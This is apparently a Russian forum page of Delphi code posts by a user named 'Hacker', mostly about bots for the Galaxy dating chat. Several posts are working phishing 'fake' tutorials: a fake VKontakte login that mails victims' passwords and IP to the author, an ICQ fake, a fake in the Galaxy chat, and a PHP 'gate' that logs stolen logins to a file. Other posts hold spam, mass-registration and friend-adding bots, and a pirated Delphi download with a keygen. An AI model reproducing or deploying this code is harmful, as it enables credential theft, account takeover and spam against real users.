Галактика знакомств, чат galaxy, скачать галактику

Исходник дисплея для галактики знакомств

Hacker — Fri, 17 Jul 2015 01:16:54 GMT

Черный список

Hacker — Fri, 17 Jul 2015 01:16:03 GMT

Кидаем на форму:
1 listbox
2 button
1 timer
1 checkbox
В CheckBox пишем:

Code

    if CheckBox1.checked then // если отмечен
       timer1.enabled:=true // включаем таймер
       else // иначе
       timer1.enabled:=false; // выключаем

В ObjectInspector'e (слева внизу) ставим interval: 3100;
В таймер пишем

Code

    var
       i:integer;
       begin
       for i:=0 to listbox1.items.count-1 do // Перебор строк списка
       if pos(listbox1.items[i], log.lines.text)<>0 then //если совпал текст в логе, и в списке то...
       wsocket1.sendstr('ACTION 3 '+listbox1.items[i]); //запрос на посадку+ ID из списка

Ну и кнопки. в 1 пишем

Code

listbox1.items.add(Inputbox('Заголовок', 'Описание', 'Вводимый текст')); // добавляем в список

во 2

Code

listbox1.deleteselected; // удалили выбранную строку.

Действия для galaxy

Hacker — Sun, 05 Jul 2015 22:22:04 GMT

Перечисляю все наборы вроде для галы,для тех кому может надо,это для wsocket
Перемещение:

Code

WSocket1.SendLine('REMOVE 1 '+ansitoutf8(edit1.Text));

Эмоция с текстом:

Code

WSocket1.SendLine('EMO 0 : '+ansitoutf8(edit1.Text));

- там где 0 ид эмоции
Выход:

Code

WSocket1.SendLine('QUIT :ds');
WSocket1.Close;

Написать в чат:

Code

WSocket1.SendLine('PRIVMSG 1 :'+ansitoutf8(edit1.Text));

Перелет:

Code

WSocket1.SendLine('JOIN '+ansitoutf8(edit1.Text));

Перелет на другую планету

Code

WSocket1.SendLine('JOIN '+ansitoutf8('Арифметика-1'));

Действие:

Code

Wsocket1.Sendline('ACTION 44 '+ansitoutf8(Edit1.Text));

там где 44 ид действия
Дать смотр:

Code

Wsocket1.Sendline('OP '+ansitoutf8(Edit1.Text));

Снять смотр:

Code

Wsocket1.Sendline('DEOP '+ansitoutf8(Edit1.Text));

Выгнать просто:

Code

Wsocket1.Sendline('KICK '+ansitoutf8(Edit1.Text));

Выгнать(закрыть доступ):

Code

Wsocket1.Sendline('BAN '+ansitoutf8(Edit1.Text))

Фейк с отправкой код в приват Galaxy

Hacker — Wed, 25 Dec 2013 20:38:47 GMT

Необходимо :
1.Исходник какой либо программы (сажа,онлайнер и прочее...)
2.Делфи 7,естественно
3.Прямые рyки,ВАЖНО

Я делаю так,

Кидаем на формy таймер
Интервал таймера 5000
Там же где и интервал жмем Еnablеd Falsе
Кликаем 2 раза на тайме и прописываем:

Код

procedure TForm1.Timer1Timer(Sender: TObject);
var
TS: TStringList;
begin
TS.Clear;
ts.Add('user='+ansitoutf8(Edit1.Text)); //в едит пишем ник комy придет приват и прячем его из формы
ts.Add('text='+ansitoutf8(Edit2.Text)); //здесь код того,кто бyдет входить с проги,то есть едит авторизации
ts.Add('name=name');
Ts.Add('button=name)');
try
IdHTTP1.Post('http://galaxy.mobstudio.ru/services/index.php?userID='+TS[1]+'&password='+TS[2]+'&usercur='+TS[1]+'&a=mail_write&hide_nick=0&an=0&send=1&picid=0&mid=0&&kbv=120&lngg=ru',TS);
except
end;
Timer1.Enabled:=False;
end;

Далее в кнопкy войти жмем 2 раза и вставляем Timer1.Enabled:=True;
Кидаем на формy компонет TIdHTTP

TS[1] ид
TS[2] пасс

Активация проги

vizzers — Sun, 22 Dec 2013 14:46:43 GMT

Код

procedure TForm1.sButton3Click(Sender: TObject);
var
HTTP:TIdHTTP;
Response:TFileStream;
s,a,g:string;
Version:TStringList;

begin
sedit8.Text:=g; // программа генерирует серийный номер
HTTP:=TIdHTTP.Create(nil);
Version:=TStringList.Create;
  try
  s:=HTTP.Get('тут сайт откуда перем файл с ключами'); // файл с ключами
   if g=s  then // если серийный номер, выданный программой совпадает с тем, что указан в файле с ключами
    begin
    ShowMessage('Активация прошла успешно. Доступен весь фунеционал программы');
    sbutton5.Enabled:=true;
    end
   else
    begin
    ShowMessage('Ключ не действителен. Функционал программы недоступен');
      sbutton5.Enabled:=false;

    end;
  finally
  HTTP.Free;
  Version.Free;
  end;

Dynamic Skin Form

Hacker — Sat, 21 Dec 2013 17:39:20 GMT

Короче если кто не понял, dynamic skin form - это компонент для поддержки скинов в вашей программе. Честно вам признаюсь что после установки с компонентом надо немного разобраться. Но я думаю для вас это не составит большого труда. В общем качаем, устанавливаем, разбираемся и Наслаждаемся !

Установка: тестировалось 7 версии delphi. Никаких проблем. Да еще хочу сказать пару слов об установке данного компонента. Распаковываем архив=> В Delphi 7 жмем на вкладку Component => Instal Packages => Давим на кнопку Add => Заходим в папку куда распаковали архив => выбираем соответствующий bpl файл. После этого рекомендую скопировать все файлы из архива в папку установки Delphi\Projects\Bpl\

3анимать ник

Hacker — Sat, 21 Dec 2013 17:38:04 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: функциональный исходник
Автор темы: Hacker
Автор последнего сообщения: Floki
Количество ответов: 4

Фотобитвы

Hacker — Mon, 12 Aug 2013 11:46:39 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: исходник
Автор темы: Hacker
Автор последнего сообщения: Lammer
Количество ответов: 1

Дрожание формы

Hacker — Fri, 18 Jan 2013 19:00:38 GMT

Кидаем на форму 2 timera из вкладки system
Сразу отключаем их>>>False

Кликаем 2 раза по первому таймеру и пишем вот такой код между begin и end;

Код

form1.Left:= form1.Left-2;
sleep(20);
form1.Left:= form1.Left+2;
sleep(20);
form1.Top:=form1.Top+1;
sleep(20);
form1.Top:=form1.Top-1;

Ставим интервал первому таймеру 50
Кликаем 2 раза по второму таймеру и пишет следующий код, между begin и end;

Код

timer1.Enabled:=false;
timer2.Enabled:=false; [code]

Ставим интервал по желанию.Лично у меня он стоит 3500

Кликаем 2 раза по форме и пишем следующий код между begin и end

Код

timer1.Enabled:=true;
timer2.Enabled:=true;

Исходник QIP 2005

Hacker — Tue, 01 Jan 2013 01:37:37 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Исходник на дельфи аськи на комп
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 2

функция sleep не вешает программу

Hacker — Tue, 01 Jan 2013 00:56:00 GMT

Есть два выхода:

1. Создать поток, если, конечно, там не одна строка "Sleep(***);", и выполнять всю процедуру в потоке.
2.:

Code

var
   ST, T: DWORD; // ST - Начальное время
const
   Slp = 1000; // Время простоя в мс.
begin
   ST := GetTickCount;
   repeat
     T := GetTickCount - ST;
     Application.ProcessMessages;
   until T >= Slp;
   // Остальной код
end;

Безопасный фейк на Delphi

Hacker — Sat, 29 Dec 2012 11:23:33 GMT

Обычно, "для удобства" люди пишут фейки с отправкой на мыло, в ICQ, на FTP, но не все знают (хотя некоторые знают но забивают на это) что ваши авторизационные данные (логины пароли от FTP, мыла или ICQ) могут быть легко перехвачены и соответственно аккаунты могут быть угнаны.

Во избежание этого я рекомендую использовать отправку на сниффер или гейт. В этой статье я опишу, как можно реализовать отправку данных на гейт или сниффер.

Отправка на сниффер.
Наверное, самый простой способ отправки и не раз описывался, но я его не буду пропускать.
Кладём на форму 2 Edit'a, 1 кнопку и IDhttp (из вкладки Indy Clients).
Кликаем дважды на кнопку и пишем код:

Code

idhttp1.Get('http://ваш_сниффер?Login='+edit1.text+' |Pass='+edit2.text);

Минусы местного сниффера - 30 логов максимум.
В сниффере от каника - бесконечное кол-во логов и другие няшки.
Как установить?
Регаем себе хост на holm.ru или на wt8.ru (пойдёт любой бесплатный хостинг с поддержкой php и FTP).
Скачиваем FTP клиент FileZilla, входим с логином и пассом от нашего хоста (должны прийти по почте или в панели управления найдутся).
Заливаем файлы из архива в корень (или в поддиректорию, без разницы) и настраиваем сниффер под себя (читаем readme.txt из архива).
Всё, переходим на главную старницу нашего хоста (если заливали в корень) или в поддиректорию.

Отправка на гейт.

Более сложный процесс, для этого нам понадобится хостинг с поддержкой FTP и PHP, как создать его - читайте выше.
Создали? Идём дальше.
Создаём файл с именем save.php и следующим содержанием:
PHP код:

Code

$data = $_[B]GET[/B]['content'];

$filename = "log.txt";

if ( is_writeable($filename) ) :

$fh = fopen($filename, "a+");

$success - fwrite($fh, $data);

fclose($fh); else :

print "Could not open Sfilename for writing";

endif;

?>

аливаем файл на ваш хост вместе с файлом log.txt (обязательно!).
Выставляем права 777 на log.txt и save.php.

Обратите внимание на выделенное мною слово GET, тут будут 2 пути - либо передача данных к скрипту методом GET или методом POST. Что выбрать - дело ваше, но настройка для этих типов разная.
Если выбрали метод GET - оставляем скрипт без изменений, если POST - меняем выделенное слово GET на POST соответственно.
Коды обработчиков событий клика для кнопки для этих методов тоже разные.
Код для метода GET:

Code

idhttp1.get('http://ваш_хост/save.php?content=Login='+edit1.text+'|Pass='+edit2.text);

Код для метода POST:

Code

var
data:tstringlist;
begin
data:= tstringlist.Create;
data.Add('content= Login='+edit1.text+' |Pass='+edit2.text);
idhttp1.Post('http://ваш_хост/save.php',data);
data.Free;

Как вы поняли, в var необходимо добавить описание переменной data.
Всё!
После того, как жертва вводит свой логин и пароль в ваши поля в программе, все данные записываются в файл log.txt.

Плюсы и минусы передачи данных методом GET:
+Короткий код обработчика события клика в Delphi
+Схожесть с использованием сниффера
-Невозможно использовать пробелы в запросе

Плюсы и минусы передачи данных методом POST:
+Возможно использовать пробелы
+Более удобный и хороший способ (ИМХО)
-Больший код обработчика клика в Delphi

TJvRichEdit

Hacker — Mon, 22 Oct 2012 08:02:20 GMT

Скачать

Если у кого есть вопросы по установке его,пишите здесь

Исход по нику для Galaxy

Hacker — Sat, 25 Aug 2012 10:40:38 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Подключение и сажает по нику врага
Автор темы: Hacker
Автор последнего сообщения: Hacker
Количество ответов: 0

Эффект воды

Hacker — Sun, 19 Aug 2012 10:59:37 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Очень красивый эффект на delphi
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Создание заставок для ваших программ

Hacker — Mon, 13 Aug 2012 16:59:15 GMT

Наверно, каждый программист на Дельфи хоть раз хотел создать к какой-нибудь своей программе заставку. В этой статье мы рассмотрим создание заставок в Дельфи. Тому кто умеет работать более чем с одной формой в приложении, будет очень легко это понять. Чтобы не вдаваться в теорию, начнем сразу с практики.

Откройте какое-нибудь свое приложение, к которому вы хотите добавить заставку, или создайте новое (на чистом проще разбираться). Теперь необходимо добавить в наш проект еще одну форму, которая будет заставкой. Для этого нажмите File->New Form и Дельфи создаст вам новую форму. Измените ее размеры как вам хочется. Потом установите свойство Border Style вашей формы в bsNone (у формы не будет заголовка и системных кнопок), установите свойство Visible в false. Свойтсво Position должно быть poScreenCenter - это значит, что форма появится по центру экрана. И чтобы не перепутать эту форму ни с какой другой задайте ей имя Logo.

Настройка формы заставки произведена, теперь необходимо сделать, чтобы по щелчку мышкой по этой форме или после нажатия клавиши или по истечении 5 секунд форма-заставка закрывалась. Для этого установите на форму Timer, его свойству Interval задайте значение 5000 (форма будет закрываться через 5 секунд). В обработчик события OnTimer напишите всего одно слово: Close;

В обработчик события OnClick для формы-заставки напишите тоже самое. Установите свойство формы KeyPreview в true (это делается для того, чтобы при нажатии любой клавиши вначале реагировала форма, а затем тот элемент, который был в фокусе в момент нажатия). А в обработчик события OnKeyPress (для формы-заставки конечно же) опять-таки напишите close;

Форма-заставка готова полностью и теперь необходимо, чтобы она запускалась перед главной формой. Для этого сделайте активной вашу главную форму, перейдите на вкладку Events в Object Inspector'e и выберите событие OnShow. В обработчике этого события надо написать следующее:

logo.showmodal;

Меня иногда спрашивают, чем отличаются процедуры show и showmodal. У них только одно принципиальное различие: если форма открылась методом Showmodal, то пока она не закроется пользователь не сможет взаимодействовать с остальными формами приложения. А если форма была открыта методом Show, то пользователь легко может перейти к любой форме приложения.

Итак, форма-заставка готова. Теперь мы слегка ее усовершенствуем. Добавим такую же штуку, как в формах-заставках Microsoft Office, а именно на форме будет показываться имя пользователя и организация. Для этого разместите на форме-заставке две метки (Label). Первую назовите UserName, а вторую - Organization. Чтобы это сделать мы воспользуемся реестром (тас вообще очень много интересного можно найти). Теперь откройте обработчик события OnCreate для формы-заставки и объявите там переменную R типа TRegistry, а в раздел Uses всей программы добавьте Registry. Теперь нам нужно создать объект R :

R:=TRegistry.Create;
R.RootKey:=HKEY_LOCAL_MACHINE;
R.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion', False); //именно здесь эта информация хранится

Теперь необходимо прочитать нужные строки из этого раздела реестра и присвоить их соответствующим меткам:

UserName.Caption:=r.readstring('RegisteredOwner');
Organization.Caption:=r.readstring('RegisteredOrganization');
r.Free; //надо уничтожить этот объект, так как он нам больше не нужен

Таким образом весь этот обработчик должен иметь примерно такой вид:

procedure TLogo.FormCreate(Sender: TObject);
var R:Tregistry;
begin
R:=TRegistry.Create;
R.RootKey:=HKEY_LOCAL_MACHINE;
R.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion', False);
UserName.Caption:=r.readstring('RegisteredOwner');
Organization.Caption:=r.readstring('RegisteredOrganization');
r.Free;
end;

Ну вот собственно и все что я хотел вам рассказать о заставках. Теперь ваши программы будут выг

лядеть более солидно. Но помните, что при создании небольших, вспомогательных программ, объем которых не превышает килобайт 100-150 заставки лучше не использовать.

TUbuntuProgress

Hacker — Sat, 04 Aug 2012 18:39:43 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Компонент типа ProgressBar , имеет некоторые особенности
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Фейк с отправкой в icq

Hacker — Thu, 26 Jul 2012 09:26:05 GMT

Запускаем Delphi (у меня лично Delphi 7), далее кидаем на форму ICQClient1 с вкладки Samples (скачать компонент можно здесь), затем кидаем button1 с вкладки Standart и Edit1 с этой же вкладки.

Button1
Пишем в обработчике событии OnClick:

Code

ICQClient1.UIN:=123456789; // Номер ICQ, с которого будут приходить сообщения
ICQClient1.Password:='123'; // Пароль от этого номера
icqclient1.Login(); // Коннектимся

ICQClient1
В обработчике события OnLogin пишем

Code

Icqclient1.SendMessage(ICQ номер на который будут приходить сообщения,Edit1.text);

В обработчике события OnMsgAck пишем:

Code

icqclient1.Disconnect; // дисконнект после отправки сообщения

вот и все готово

Исходник антиприлета в galaxy

Hacker — Mon, 23 Jul 2012 15:15:10 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Программа выгонять
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Добавлялка в друзья в галактике

Разработчик — Mon, 23 Jul 2012 09:42:48 GMT

Code

кидаем на форму 2-edit`a 3-button.listbox,таймер,1штуку IdHTTP1,1штуку IdAntiFreeze1 и OpenDialog1
ДАЛЕЕ---
в 1 бутон добавляем
if OpenDialog1.Execute then Listbox1.items.LoadFromFile(OpenDialog1.FileName);
Listbox1.ItemIndex:=0;
в3бутон добавляем код
if ListBox1.ItemIndex= ListBox1.Items.Count-1 then exit;
ListBox1.ItemIndex:=ListBox1.ItemIndex+1;
Timer1.Enabled:=True
во 2бутон кидаем код
idhttp1.get('http://galaxy.mobstudio.ru/services/index.php?userID='+Edit1.text+'&password='+Edit2.text+'&usercur='+ListBox1.Items[ListBox1.Itemindex]+'&a=add_friend&&kbv=73&lngg=ru&dbl=2');
sButton3.Click
ЩЁЛКАЕМ ПО ФОРМЕ И ПРОПИСЫВАЕМ
TS:=TStringList.Create;
TS.Delimiter:='&';
Timer1.Enabled:=False
ТЕПЕРЬ ЖМЁМ НА ТАЙМЕР И ВВОДИМ
sButton2.Click
ПОТОМ ВВЕРХУ
ПОСЛЕ СТРОКИ
   var
   Form1: TForm1;
ПИШЕМ ТУТ TS:TStringList;

ВСЁ ДОБАВЛЯЛКА ГОТОВА ТОЛЬКО В ТАЙМЕРЕ ИНТЕРВАЛ СТАВИМ 8500

Исходник аськи на дельфи

Hacker — Thu, 19 Jul 2012 09:58:28 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: QIP infium
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Исходник fgsb 7

Hacker — Thu, 19 Jul 2012 08:51:13 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Галактика знакомств
Автор темы: Hacker
Автор последнего сообщения: TERR0RIST
Количество ответов: 1

IcqClient

Hacker — Sun, 06 May 2012 20:42:26 GMT

Итак,компонент рабочий..версия v1_35_
Установка простая
1)добавляем его в библиотеку(путь к нему)
2)открываем
3)Нажимаем компилировать,потом установить
вот и все..

Скачать

PngComponents

Hacker — Thu, 03 May 2012 18:46:17 GMT

Компоненты для Delphi, с помощью которых Delphi начинает "понимать" формат PNG
Установка простая.
Закрываем Delphi, запускаем файл PngComponentsSetup.exe
Далее принимаем условия соглашения и т.п.
После этого можно без проблем работать с PNG-изображениями.
Включает в себя компоненты:

Code

TPngSpeedButton
TPngBitBtn
TPngImageList
TPngImageCollection
TPngCheckListBox

Скачать

Исходник спамера

Hacker — Wed, 02 May 2012 14:25:03 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Спамер галактики знакомств
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Исходник регера

Hacker — Wed, 02 May 2012 14:17:02 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Регер галактики знакомств
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Исходник Регера одноклассниках

Hacker — Sat, 28 Apr 2012 11:27:27 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Исходник Регера в одноклассниках
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Экономим трафик

Hacker — Sat, 28 Apr 2012 11:13:03 GMT

На днях нашёл интересный способ экономии трафика программ. Решил поделится.
Технология называется gzip, её поддерживают многие сервера. Для начала проверим, держит ли сервер сжатие, редактируем шапку инди, чтоб сообщить серверу, что мы готовы работать с zip архивами.

Code

DHTTP1.Request.AcceptEncoding:='gzip';

Если в шапке ответа сервера передастся параметр

Code

Content-Encoding: gzip

значит сервер поддерживает работу с zip.

Наша задача, распаковать данные. В этом нам поможет библиотека ZLib.
Распаковываем её в любую папку, и указываем путь к библиотеке
Tools > Environment Options > Library.
Подключаем библиотеку в uses ZLibExGZ.

заносим данные, поступившие с сервера в переменную стринг, и дешифруем.

Code

var s:string
begin
s:=IDHTTP.get('Сайт');
s:=GZDecompressStr(s);

данная технология позволяет экономить трафик до 5 раз! Более того меньший трафик занимает меньше времени на его передачу, а следовательно, увеличивает скорость работы программы.

Библиотеку Zlib можете скачать из вложения

Alpha Skins -поддержка скинов в программе Delphi.

Hacker — Wed, 25 Apr 2012 15:34:42 GMT

Alpha Skins - это набор стандартных и некоторых уникальных компонентов, поддерживающих скины (AlphaSkins), а также имеющих некоторые дополнительнвые возможности. Все элементы скина могут иметь свои собственные свойства для рисования продвинутого градиента, реалистичных рамок, полу-прозрачности и размытых теней.

Графические функции производят все расчеты и рисования в real-time, что позволяет гибко приспосабливаться к используемым цветовым схемам системы. Добавлено свойство BoundLabel для элементов редактирования. Обрабатываются различные события мыши, что дает некоторые доплнительные возможности компонентам.

Менеджер подсказок управляет подсказками в приложении и придает им красивый вид с множеством настроек, которые можно изменять с помощью специального дизайнера. Аналоги стандартных компонентов обеспечивают все функциональные возможности и добавляют множество новых решений для улучшения работы программ и качества их внешнего вида.

Скачать компонент тут
Пароль на архив fghtkm(вводить руками,скопировать не верный будет..)

Мануал по компоненту)

Многие разработчики хотели бы как то выделить свою программу из остальных. И так как пользователь в первую очередь видит интерфейс программы, то хотелось бы сделать его необычным. После прочтения этого руководства вы научитесь с легкостью делать программы с разными красивыми интерфейсами :

Исходник Galabot

Hacker — Tue, 24 Apr 2012 16:39:10 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Galabot для галактики знакомств
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

ICQ utils

Hacker — Sun, 22 Apr 2012 12:35:46 GMT

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, XPMan, StdCtrls, ExtCtrls, IdAntiFreezeBase, IdAntiFreeze,
   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, JPEG, StrUtils,
   IdMessage, IdMessageClient, IdPOP3;

type
   TForm1 = class(TForm)
     Button1: TButton;
     GroupBox1: TGroupBox;
     Edit1: TEdit;
     GroupBox2: TGroupBox;
     Image1: TImage;
     Edit2: TLabeledEdit;
     Button2: TButton;
     GroupBox3: TGroupBox;
     IdAntiFreeze1: TIdAntiFreeze;
     Timer1: TTimer;
     HTTP: TIdHTTP;
     Timer2: TTimer;
     IdPOP31: TIdPOP3;
     IdMessage1: TIdMessage;
     Memo2: TMemo;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
     procedure Button2Click(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
     procedure Edit2KeyPress(Sender: TObject; var Key: Char);
     procedure Timer2Timer(Sender: TObject);
     procedure Activat(Mail,Pass:String);
     procedure Log(s:String);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;
   Capcha,mail,pass,karmaSyncKey,gnm:String;
   mem:TMemoryStream;
   TS:TStringList;
   myFile:TextFile;
implementation

{$R *.dfm}

procedure TForm1.Log(s:String);
begin
Memo2.Lines.Add('('+TimeToStr(Time)+') '+s);
end;

procedure TForm1.Button1Click(Sender: TObject);
var buf:String;
begin
Button1.Enabled:=False;
Buf:=http.Get('http://www.icq.com/join/ru');
Capcha:=Copy(buf,pos('class="captcha_image"',buf)+65,Length(buf));
Delete(Capcha,pos('"',Capcha),length(Capcha));
karmaSyncKey:=Copy(buf,pos('karmaSyncKey',buf)+21,Length(buf));
karmaSyncKey:=Copy(karmaSyncKey,1,pos('"',karmaSyncKey)-1);
gnm:=Copy(buf,pos('name="gnm"',buf)+18,length(buf));
gnm:=Copy(gnm,1,pos('"',gnm)-1);
http.Get('http://www.icq.com/utils/captcha/gnm/'+capcha,mem);
mem.Position:=0;
image1.Picture.Graphic:=TJpegImage.Create;
image1.Picture.Graphic.LoadFromStream(mem);
Edit2.SetFocus;
Button1.Enabled:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
var Patch:String;
begin
mem:=TMemoryStream.Create;
TS:=TStringList.Create;
Patch:=ExtractFilePath(Application.ExeName);
If FileExists(Patch+'UINs.txt')=false then Memo2.Lines.SaveToFile(Patch+'UINs.txt');
AssignFile(myFile,Patch+'UINs.txt');
SystemParametersInfo(SPI_SETBEEP,0,nil,SPIF_SENDWININICHANGE);
end;

procedure TForm1.Button2Click(Sender: TObject);
var s:string;
begin
mail:=Copy(Edit1.Text,1,pos(';',Edit1.Text)-1);
Pass:=Copy(Edit1.Text,pos(';',Edit1.Text)+1,Length(Edit1.Text));
if mail='' then exit;
if pass='' then exit;
if Edit2.Text='' then exit;
Button2.Enabled:=false;
TS.Clear;
TS.Add('karmaSyncKey='+karmaSyncKey);
TS.Add('first_name=Alexey');
TS.Add('last_name=Putin');
TS.Add('email='+mail);
TS.Add('password='+Pass);
TS.Add('retype_password='+Pass);
TS.Add('birthday_month=9');
TS.Add('birthday_day=6');
TS.Add('birthday_year=1984');
TS.Add('gender=1');
TS.Add('captcha='+Edit2.Text);
TS.Add('gnm='+gnm);//тут кстати можно применить TStrings Сократив тем самым код
s:=Utf8ToAnsi(http.Post('http://www.icq.com/join/ru',ts));
http.Disconnect;
Edit2.Clear;
if pos('Почти готово!',s)>0 then begin
Log('Регистрационная информация отправлена на Email');
Log('Жду '+IntToStr(Timer1.Interval div 1000)+' секунд');
Timer1.Enabled:=true;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
timer1.Enabled:=False;
Log('Проверяю почту');
Refresh;
Activat(Mail,Pass);
end;

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if key=#13 then Button2.Click;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Timer2.Interval:=1000;
GroupBox3.Caption:='Status - '+TimeToStr(Time);
end;

procedure TForm1.Activat(Mail,Pass:String);
var s:String;
begin
TS.Clear;
IdPOP31.Host:='mail.rambler.ru';
IdPOP31.Username:=Mail;
IdPOP31.Password:=Pass;
IdPOP31.Port:=110;
IdPOP31.Connect;
if IdPOP31.CheckMessages = 0 then begin
Log('Сообщение пока не получено');
Log('Жду ещё '+IntToStr(Timer1.Interval div 1000)+' секунд');
Timer1.Enabled:=true;
IdPOP31.Disconnect;
Button2.Enabled:=true;
exit;
end;
IdPOP31.Retrieve(1,IdMessage1);
IdPOP31.Disconnect;
TS.Clear;
TS.AddStrings(TIdText(IdMessage1.MessageParts.Items[0]).Body);
s:=Copy(TS.Text,pos('href="',TS.Text)+6,Length(TS.Text));
s:=Copy(s,1,pos('"',s)-1);
s:=Utf8ToAnsi(HTTP.Get(s));
Button2.Enabled:=true;
if pos('Вы успешно зарегистрировались в ICQ',s)>0 then begin
s:=HTTP.Response.RawHeaders.GetText;
s:=Copy(s,pos('karma_login=',s)+12,Length(s));
s:=Copy(s,1,pos(';',s)-1);
Append(myFile);
WriteLn(myFile,s+';'+pass);
CloseFile(myFile);
Log('UIN зарегистрирован');
Log(s+';'+pass);
end;
end;

end.

Подключение к barbos.ru

Hacker — Sun, 22 Apr 2012 12:32:04 GMT

Code

Var
procedure TForm1.Button1Click(Sender: TObject);
Var
Data: TStringList;
begin
  idhttp1.HandleRedirects:=true;
IdHTTP1.get('http://barbars.ru/');
Data:=TStringList.Create;
    data.Add('login=edit2.text');
    data.Add('password='+ edit1.text);
IdHTTP1.Post('http://barbars.ru/login/wicket:interface/:1:loginForm::IFormSubmitListener::', Data);
Data.Free;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
memo1.Lines.Add(idhttp1.get('http://barbars.ru/'))
end;

end.

Delphi7 c русским интерфейсом

Hacker — Thu, 19 Apr 2012 03:50:53 GMT

Delphi7 (язык программирования)
Платформа: WinXP Совместимость с Vista: да Язык интерфейса: английский + русский Размер: 259.68 Mb | В разохивированном виде 600... … У нас вы всегда найдёте ссылки на отличные и бесплатные программы и софт
С генератором ключей внутри архива
Cкачать

Исходник FGSB

Hacker — Mon, 16 Apr 2012 12:36:18 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Исходник FGSB
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 2

ProgressBar

Hacker — Mon, 16 Apr 2012 12:02:41 GMT

Если кому требуется помощь с прогрессбаром, а именно: изменение его показателя в зависимости от полученных данных от сервера
то вот код

Code

if ts[0]='999' then begin ProgressBar1.Position:=50;

Ну а две пятых или сколько подбирай сами

Сажалка для галы исход

Hacker — Thu, 12 Apr 2012 16:09:37 GMT

Форум: С/С++, C#, Delphi, .NET, Asm
Описание темы: Редачить нужно, код кривой ,а так функциональный)
Автор темы: Hacker
Автор последнего сообщения: BoyKa
Количество ответов: 0

Как установить TClientSocket и TServerSocket

Hacker — Mon, 09 Apr 2012 09:42:10 GMT

TClientSocket и TServerSocket
Оба компонента идут в составе Delphi 7, но о них мало кто знает.. :?
Установка компонентов:
1) Жмём на вкладку Component в менюшке.
2) Жмём Install Packages.
3) Жмём кнопку Add.
4) Там выбираем Delphi/Bin/dclsockets70.bpl
5) Жмём Ok
Теперь на вкладке Internet в палитре компонентов появились TClientSocket и TServerSocket.
Всё просто

Делаем усовершенствованный фейк на делфи

Hacker — Fri, 30 Mar 2012 12:02:56 GMT

Сейчас мы будем делать фейк ВКонтакте(для примера) на делфи.
Что он будет уметь:

1.Отправка логина и пароля на почту
2.Отправка IP
3.Проверка на валидность

Ну что же приступим!

Прежде всего создайте новый проэкт,далее в Object inspector в свойстве borderStyle "формы" поставьте значение bsDialog (нужно для того чтобы у формы не было кнопок "Свернуть и увеличить", а только крестик. Дальше можете обустроить форму под стиль Контакта,например так:

Так теперь приступим к основным действиям!
Кидаем на форму:

2 edit
button
idhttp(вкладка indy clients)
idSMTP(вкладка indy clients)
idMessage(вкладка indy Misc)
idAntyFreeze(вкладка indy Misc)

Остальное добавляйте для внешнего вида!
Нажмите на idSMTP и в параметре AuthenticationType поставьте свойство "atLogin" ,также нажмине на idHTTP и в параметре HandleRedirects поставьте значение "True"

Приступим к кодингу!

2 раза нажмите на кнопку,поставьте переменную data,s,e:string;
и между begin и end; напишите следущий код:

Code

s:=IdHTTP1.Get('http://2ip.ru'); //Посылаем запрос на 2ip.ru
e:=Copy(s, pos('', s) + 5, pos('', s) - pos('', s) -5); //Парсим IP
data:=idhttp1.Get('http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.Text);
if pos('В Контакте | Вход',data) > 0 then begin
ShowMessage('Пароль введен неправильно,повторите попытку');
end else begin
idSmtp1.Host:='smtp.mail.ru'; //Хост mail.ru(измените на свой)
idSmtp1.Port:=25;
idSmtp1.Username:='E-mail с которого отправлять'; //Ваш E-mail
idSmtp1.Password:='Пароль от этого E-mail'; //Пароль
idMessage1.Body.Text:='ip:'+e+#10#13+edit1.Text+';'+edit2.Text; //Текст письма
idMessage1.From.Text:='Еще раз E-mail с которого отсылать';
idMessage1.Recipients.EMailAddresses:='E-mail на который отправлять данные'; //Кому отправлять данные
idMessage1.Subject:='VKfake'; //Тема письма

idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;

Должно получится так:

Code

procedure TForm1.Button1Click(Sender: TObject);
var data,s,e:string;
begin
s:=IdHTTP1.Get('http://2ip.ru'); //Посылаем запрос на 2ip.ru
